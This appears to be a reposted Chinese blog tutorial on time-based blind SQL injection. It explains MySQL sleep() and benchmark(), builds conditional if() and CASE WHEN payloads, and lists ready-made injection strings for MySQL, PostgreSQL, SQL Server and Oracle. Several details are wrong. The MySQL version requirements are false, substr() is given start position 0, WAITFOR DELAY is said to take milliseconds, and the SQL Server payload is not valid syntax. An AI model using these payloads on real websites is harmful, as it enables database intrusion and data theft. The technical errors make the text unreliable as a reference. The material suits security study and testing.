【sql注入-延时注入】sleep()、benchmark()函数 延时注入

目录

sleep()、benchmark()延时注入

一、语法介绍:

二、延时注入

三、不同数据库

网络安全小圈子


sleep()、benchmark()延时注入

一、语法介绍:

版本:

sleep()    MySQL>5.7.8

benchmark()  MySQL>5.7.5

扫描二维码关注公众号,回复: 15728351 查看本文章

语法:


使用:

SELECT SLEEP(10);

延迟10s

SELECT BENCHMARK(1000000, SHA1('Hello World'));

查询将会执行100万次SHA1哈希算法计算,并返回结果(别瞎搞)

然后我又多加了一个0



二、延时注入

if示例:

加上判断函数if()

if(a,b,c),如果a的值为true,则返回b的值,如果a的值为false,则返回c的值

?id=1’ and if ((ascii(substr(database(),0,1))>100),sleep(10),1) --+

sleep(if(database()="security",10,0))

if(now()=sysdate(),sleep(length(database())),0)

//now(): 这是MySQL的一个内置函数,返回当前日期和时间。

//sysdate(): 这也是MySQL的一个内置函数,返回系统日期和时间。

//length(database()): 这是一个内置函数,返回当前数据库名的长度。

//sleep(): 这是MySQL的一个内置函数,用于在执行语句时暂停指定的秒数。

代码的逻辑:

如果now()返回的当前日期和时间与sysdate()返回的系统日期和时间相等(即条件成立),
那么执行sleep(length(database()))函数,即暂停秒数等于当前数据库名长度的时间,
否则返回0


case when示例

CASE WHEN condition1 THEN result1
WHEN condition2 THEN result2
ELSE result3
END

其中,condition1 和 condition2 是条件表达式,result1、result2 和 result3 是根据条件表达式返回的结果。如果所有条件都不满足,则返回 result3

'%3bselect case when (1=1) then sleep(10) else sleep(0) end --

这是一个条件语句,用于在查询中执行延时函数 sleep()。如果条件 (1=1) 成立,将执行 sleep(10) 函数,即暂停 10 秒钟;否则执行 sleep(0) 函数,即不进行延时


payload:

' OR SLEEP(5)#

' OR BENCHMARK(1000000,SHA1('test'))#

if(now()=sysdate(),sleep(length(database())),0)

'%3bselect case when (1=1) then pg_sleep(10) else pg_sleep(0) end --


三、不同数据库

  1. MySQL的SLEEP()函数:
       - 函数作用:让数据库休眠指定的时间(以秒为单位)。
       - Payload示例:' OR SLEEP(5) --

  2. PostgreSQL的pg_sleep()函数:
       - 函数作用:让数据库休眠指定的时间(以秒为单位)。
       - Payload示例:' OR pg_sleep(5) --

  3. Microsoft SQL Server的WAITFOR DELAY语句:
       - 语句作用:让数据库休眠指定的时间(以毫秒为单位)。
       - Payload示例:' OR WAITFOR DELAY '0:0:5' --

  4. Oracle的DBMS_LOCK.SLEEP()函数:
       - 函数作用:让数据库休眠指定的时间(以秒为单位)。
       - Payload示例:' OR DBMS_LOCK.SLEEP(5) --



网络安全小圈子

README.md · 书半生/网络安全知识体系-实战中心 - 码云 - 开源中国 (gitee.com)正在上传…重新上传取消https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.mdicon-default.png?t=N658https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.md

GitHub - BLACKxZONE/Treasure_knowledge正在上传…重新上传取消https://github.com/BLACKxZONE/Treasure_knowledgeicon-default.png?t=N658https://github.com/BLACKxZONE/Treasure_knowledge

猜你喜欢

转载自blog.csdn.net/qq_53079406/article/details/131639804